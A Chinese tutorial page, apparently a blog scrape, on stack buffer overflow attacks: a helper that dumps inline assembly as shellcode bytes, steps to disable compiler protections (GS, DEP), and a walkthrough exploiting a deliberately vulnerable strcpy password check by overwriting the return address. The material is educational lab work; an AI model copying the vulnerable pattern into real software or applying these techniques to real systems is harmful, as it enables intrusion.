        HINSTANCE handle=LoadLibraryA(dll_name); // 获取dll加载地址
         return ( int)GetProcAddress(handle,func_name);
    }

    这个函数地址是在本地计算的,如果被攻击计算机的操作系统版本差别较大的话,这个地址可能是错误的。不过在《0day安全:软件漏洞分析技术》中,作者提供了一个更好的方式,感兴趣的读者可以参考该书提供的代码。因此构造一个通用的shellcode并非十分容易,如果想让攻击变得有效的话。

    六、汇编语言自动转换

    写出shellcode后(无论是简单的还是通用的),我们还需要将这段汇编代码转换为机器代码。如果读者对x86汇编十分熟悉的话,选择手工敲出二进制代码的话也未尝不可。不过我们都希望能让计算机帮助做完这些事,既然开发环境提供了编译器,用它们帮忙何乐而不为呢?既不用OllyDbg工具,也不适用其他的第三方工具,我们写一个简单的函数来完成这个工作。

     

    复制代码
    // 将内嵌汇编的二进制指令dump到文件,style指定输出数组格式还是二进制形式,返回代码长度
    int dumpCode(unsigned  char*buffer)
    {
         goto END ; // 略过汇编代码
    BEGIN:
        __asm
        {
             // 在这里定义任意的合法汇编代码
            
        }
    END:
         // 确定代码范围
        UINT begin,end;
        __asm
        {
            mov eax,BEGIN ;
            mov begin,eax ;
            mov eax,END ;
            mov end,eax ;
        }
         // 输出
         int len=end-begin;
        memcpy(buffer,( void*)begin,len);
             // 四字节对齐
         int fill=(len-len% 4)% 4;
         while(fill--)buffer[len+fill]= 0x90;
         // 返回长度
         return len+fill;
    }
    复制代码

    因为C++是支持嵌入式汇编代码的,因此在函数内的汇编代码都会被整成编译为二进制代码。实现二进制转换的基本思想是读取编译器最终生成的二进制代码段数据,将数据导出到指定的缓冲区内。为了锁定嵌入式汇编代码的位置和长度,我们定义了两个标签BEGINEND。这两个标签在汇编语言级别会被解析为实际的线性地址,但是在高级语言级是无法直接使用这两个标签值的,只能使用goto语句跳转使用它们。但是我们可以顺水推舟,使用两个局部变量在汇编级记录这两个标签的值!

    复制代码
    // 确定代码范围
    UINT begin,end;
    __asm
    {
        mov eax,BEGIN ;
        mov begin,eax ;
        mov eax,END ;
        mov end,eax ;
    }
    复制代码

    这样就可以得到嵌入式汇编的代码范围了,使用memcpy操作将代码数据拷贝到目标缓冲区即可(后边还用nop指令将代码按照四字节对齐)。不过我们还需要注意一个问题,嵌入式汇编在函数执行时也会执行,这显然不可以,我们只是把它当作数据而已(是数据?还是代码?),因此在函数开始的地方我们使用goto语句直接跳转到嵌入式会变语句的结尾——END标签!

    七、攻击测试

    按照上述内容,相信不难构造出一个简单的shellcode并攻击之前提供的漏洞函数。但是如果使用VS2010测试的话可能会碰到很多问题。经过大量的调试和资料查询,我们需要设置三处VS的项目属性。

    1、配置->配置属性->C/C++->基本运行时检查=默认值,避免被检测栈帧失衡。

    2、配置->配置属性->C/C++->缓冲区安全检查=否,避免识别缓冲区溢出漏洞。

    3、配置->配置属性->链接器->高级->数据执行保护(DEP)=否,避免堆栈段不可执行。

    从这三处设置看来,目前的编译器已经针对缓冲区溢出攻击做了大量的保护工作(显然这会降低程序的执行性能,因此允许用户配置),使得传统的缓冲区溢出攻击变得没那么“猖狂”了,但是在计算机安全领域,“道高一尺,魔高一丈”,总有人会找到更隐蔽的攻击方式让编译器开发者措手不及。本文除了分析缓冲区溢出攻击的原理之外,更希望读者能从中感受到代码安全的重要性,并结合编译器提供的安全功能让自己的代码更加安全高效。

    展开全文
  • 缓冲区溢出攻击1

    千次阅读 2018-11-20 12:13:56
    1. 什么是缓冲区溢出攻击?  举个例子,一个杯子里装水,装满后依旧不停继续装那就会溢出来,这就是缓冲区溢出。 首先我们来看一段会有的缓冲区溢出问题的代码: #include &lt;stdio.h&gt; #include &...

    1. 什么是缓冲区溢出攻击?

      举个例子,一个杯子里装水,装满后依旧不停继续装那就会溢出来,这就是缓冲区溢出。

    首先我们来看一段会有的缓冲区溢出问题的代码:

    #include <stdio.h>
    #include <string.h>
    #define PASSWD "1234567"
    
    
    int check_passwd(char *passwd) {
    	char szBuf[8];
    	int dwCheckFlag;
    	dwCheckFlag = strcmp(passwd, PASSWD);
    	strcpy(szBuf, passwd); //缓冲区溢出
    
    	return !dwCheckFlag;
    }
    
    int main() {
    	char szPasswd[1024];
    
    	printf("Input password: ");
    	scanf("%s", szPasswd);
    	if (!check_passwd(szPasswd))
    		printf("Password error!");
    	else
    		printf("Congratulations, access!");
    
    	return 0;
    }

    这段代码编译后我取名为: a.exe,接下去运行测试一下结果:

    显然,上面两次测试都是可以理解的,第一次输入了错误密码,第二次正确。但当我第三次测试输入12345678时,分明是错误的密码但依旧通过了密码检验环节!!这里便发生了缓冲区溢出。

    2.理解缓冲区溢出的基础

      要理解其中的缘由就不得不了解一下计算机语言底层运行的情况。

    1. 操作系统会为每一个加载入内存的PE(这里特指*.exe)文件维护一个堆栈,这里称为系统栈,即main函数的栈,程序生命周期里都是存在的

    2. 同时系统也会为每一个函数维护一个栈帧(Stack Frame),这个栈(即栈帧)是改函数独有的。

    PS:栈帧的意思: 可以理解为一本书中的其中一页。

    请看这个例子:

    #include <stdio.h>
    
    int add ()  {
    	int v1 = 5, v2 = 3;
    
    	return (v1 + v2);
    }
    
    int main() {
    	int c;
    	c = add();
    	printf("Hello");
    	printf("%d", c);
    
    	return 0;
    }

    我们用OD看一下add函数的反汇编:

    整个过程可以归纳为:

    1.进入main函数

    2.分配系统栈空间(所有栈帧都是在系统栈的基础上存在,可以想象成盒子里的小盒子)

    3.进入add函数

    4.保存ebp(即保存main函数的ebp,push ebp)

    5.ebp永远指向栈底(mov ebp, esp)

    5.分配栈帧空间(sub esp, 0xD8)

    6.得到5+3的值

    7.清理堆栈,保持堆栈平衡

    8.返回main函数

    PS:由于这篇博客讲述的主要是缓冲区溢出,这里仅一笔带过,在看接下去内容之前请自行了解相关内容

    3. 缓冲区溢出程序分析

    首先我们找到scanf函数,并且先试验输入正确的密码1234567,以此来找到正确密码存在栈中哪个位置:

    栈内情况:

    果然28FB20地址中存着的是1234567还有一个空字符。

    接下去我们进入check_passwd子函数:

    来看一下check_passwd函数的情况是如何:

    可以看到strcmp和strcpy这两个函数,请注意eax的值,因为strcmp函数的返回结果会给到eax,下面是运行完strcmp的结果:

    请大家再看eax变成了0,说明密码输入是正确的。

    接下去我们要寻找szBuf和dwCheckFlag这两个变量处于栈帧的具体位置。

    因为strcmp下一条语句便是把eax存储到栈帧中的某个位置,所以可以认定那是dwCheckFlag的位置即0028FAFC。而szBuf必然在他附近。为何? 因为源码中声明就是在一起.

    可以看到,szBuf地址(0028FAF4)就在dwCheckFlag的上面。再看看执行完strcpy后的结果。

    果不其然1234567已经被存入,最后一个是空字符。

    但是当我们输入12345678的时候情况又发生了巨大的变化,因为缓冲区内只有8个字节,那么如果我们输入的是12345678,最后一个空字符会填入0028FAFC中!!!因为12345678>1234567,所以strcmp返回1.即在0028FAFC中是00000001,但是strcpy中由于多了一个空字符,就会把01给冲掉,变成了空字符00。这也是为什么当我们输入12345678的时候会变成正确的答案。

    这么说来,只要我们输入8个字符的密码那么都能密码通过了?实际上不然,我们看一下当我们输入00000001的时候:

    答案又发生了错误,这又是为什么???

    看看strcmp的结果变成了FFFFFFFF,由于00000001比1234567小,所以strcmp的结果变成了-1,补码就是FFFFFFFF。而在strcpy结束后空字符就没办法冲刷所有的字节,它只能冲掉第一个FF。

    所以就没有通过安全机制。

    现在我们的目光放远一点,看一下堆栈:

    check_passwd函数的返回地址就是绿框所示,如果我们把这段缓冲区冲刷掉并且在0028FB0C处填充到我们自己定义的地址,那么不就可以执行我们自己写的代码了?先试验直接跳转到密码成功的地方。我们看一下提示成功的地址是哪里:

    进入40136D。

    找到成功进入的地址是40136D。Ok,现在我们可以构造我们自己的跳转地址了。

    看一下我们需要12个字节,最后4个字节放入0040136D。

    由于不是所有ascii码都可以写出来,所以我们改一下源程序让它能够读取代码:

    #include <stdio.h>
    #include <string.h>
    #define PASSWD "1234567"
    
    int check_passwd(char *passwd) {
    	char szBuf[8];
    	int dwCheckFlag;
    	dwCheckFlag = strcmp(passwd, PASSWD);
    	strcpy(szBuf, passwd); //缓冲区溢出
    
    	return !dwCheckFlag;
    }
    
    int main() {
    	char szPasswd[1024];
    	FILE *fp = NULL;
    
    	if ((fp = fopen("password.txt", "rw+")) == NULL)
    		return -1;
    	fscanf(fp, "%s", szPasswd);
    	if (!check_passwd(szPasswd))
    		printf("Password error!");
    	else
    		printf("Congratulations, access!");
    
    	return 0;
    }

    看一下栈帧:

    可以了解到的是,如果要冲掉返回地址并且替换上自己的地址,那必须要有24个字节+4字节跳转地址

    再看一下成功返回的地址:

    现在用一个16进制编辑器来构造shellcode:

    结果:

    显然我们成功突破了安全机制,但是为何程序崩溃了?因为我们前面创建了栈帧,但是由于中途跳转到成功处所以子程序的堆栈依旧存在导致堆栈不平衡而崩溃。但这无关紧要最重要的是,这种方法是可以实现的。接下去我们能否用这种方法来实现自己构造的代码?

    为了能够自己构造代码,我们把缓冲区变大一点:

    char szBuf[80];

    然后....详见2

    展开全文
  • 缓冲区溢出攻击实战

    千次阅读 2018-04-15 20:54:27
    一、 实验目的通过实验,使我们对缓冲区溢出攻击的原理更加了解,对此攻击方式更加得心应手。二、 实验原理当向缓冲区里写入的数据超过了为其分配的大小时,就会发生缓冲区溢出。攻击者可以利用缓冲区溢出来窜改...
  • 思路就是有个函数会一直读字符串,可是对字符串长度没有限制,所以会造成缓冲区溢出,导致堆栈中的其他值被我们修改,达到攻击的目的 目录预备知识实验介绍攻击目标:攻击要求:解释与说明帮助函数:如何提交答案...
  • Windows 缓冲区溢出利用实验 原理 概念 危害 实验 实验环境 实验步骤 配置软件 1. 尝试缓冲区溢出 01.py 2. 测试PASS 命令接收到大量数据时是否会溢出 02.py 3. 精确定位EIP中存放的是第几个字符 03.py 4. 精确定位 ...
  • Kali Linux渗透测试——缓冲区溢出

    千次阅读 2020-02-09 22:18:44
    Kali Linux渗透测试——缓冲区溢出 笔记内容参考安全牛Kali Linux渗透测试视频教程,仅供个人学习记录使用。 所有漏洞的根源均来自于数据的输入,缓冲区溢出的原理在于数据与代码边界模糊,当缓冲区边界限制不...
  • OllyDbg测试缓冲区溢出

    2019-08-08 21:36:01
    OllyDbg测试缓冲区溢出 首先要知道什么是缓冲区,缓冲区,简单说来是一块连续的计算机内存区域, 可以保存相同数据类型的多个实例。 你一定用strcpy拷贝过字符串吧?那,如果拷贝时目的字符串的缓冲区的长度小于源字符...
  • 测试环境 操作系统:WindowsXP 选用工具:VC6.0、OllyDbg ...一、编写缓冲区溢出的代码并执行 代码如下: #include <stdio.h> #include <string.h> char name[] = "ABCDEFGHIJKLMNOPQRST"; int main()
  • 缓冲区溢出是什么? 缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大...缓冲区溢出攻击...
  • 缓冲区溢出攻击原理分析

    万次阅读 多人点赞 2015-01-30 22:30:26
    本文从C/C++语言的函数帧结构出发,分析缓冲溢出攻击如果修改eip进而控制执执行shellcode。
  • 感觉这个领域的知识点太多,而且非常底层,缓冲区溢出攻击这个算是最容易理解的了,就先从这个开始入门吧~  先试个最简单的例子,学习学习原理~  本文代码和原理主要参考...
  • 缓冲区溢出测试

    2012-01-09 19:33:31
    缓冲区溢出测试的应用 用C++实现了一定程度的缓冲区攻击
  • 缓冲区溢出攻击实践

    万次阅读 多人点赞 2015-01-30 00:12:16
    缓冲区溢出攻击方法是黑客入门的基础,本文以一个具体的实例一步步介绍如何进行最初级的缓冲区溢出攻击
  • 缓冲区溢出 缓冲区是内存的一个片段 当缓冲区边界不严格时,由于变量传入畸形数据或程序,导致缓冲区撑破,从而覆盖了相邻内存数据 可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权等后果 如何...
  • 确定缓冲区的位置5.开始攻击2.5任务2:地址随机化2.6任务3:堆栈保护2.7任务4:非可执行堆栈 2实验室任务 2.1初始设置   您可以使用我们预先构建的 Ubuntu虚拟机来执行实验室任务。Ubuntu和其他Linux发行版已经实现了...
  • 针对嵌入式系统在缓冲区溢出攻击下的脆弱性问题,对开源嵌入式操作系统μCOS-Ⅱ的内存管理机制进行分析,提出了一种基于块表的内存保护方案。该方案将属于同一任务的内存块归纳到一个域内,并建立块表进行管理,实现...
  • 记录一次对“缓冲区溢出漏洞”进行攻击的实验。通过这个实验,可以加深对函数调用底层原理(栈帧结构)以及缓冲区溢出危害的理解。进行这个实验之前,读者最好先了解一下函数的栈帧结构以及X86-64汇编语言基本语法。
  • 缓冲区溢出

    千次阅读 2018-08-10 17:30:15
    缓冲区溢出 相关安全文章 概览 描述 风险影响 例子 相关攻击 相关漏洞 相关控制 缓冲区溢出 今天又有点时间,花了大概4个小时不到翻译了这个大概3500字的文章,感觉自己阅读速度真的有待提高。虽说边翻译...
  • 缓冲区溢出攻击实验(二)

    千次阅读 2015-11-19 01:35:23
    上面缓冲区溢出攻击实验(一)中,主要阐述了怎么获得函数的返回地址,以及怎么修改返回地址。接下来阐述,获得了返回地址要做啥,也就是我们的获得shell的恶意程序; 二、获取shell恶意程序  由于我们最终是要通过向...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,419
精华内容 4,567
关键字:

缓冲区溢出攻击测试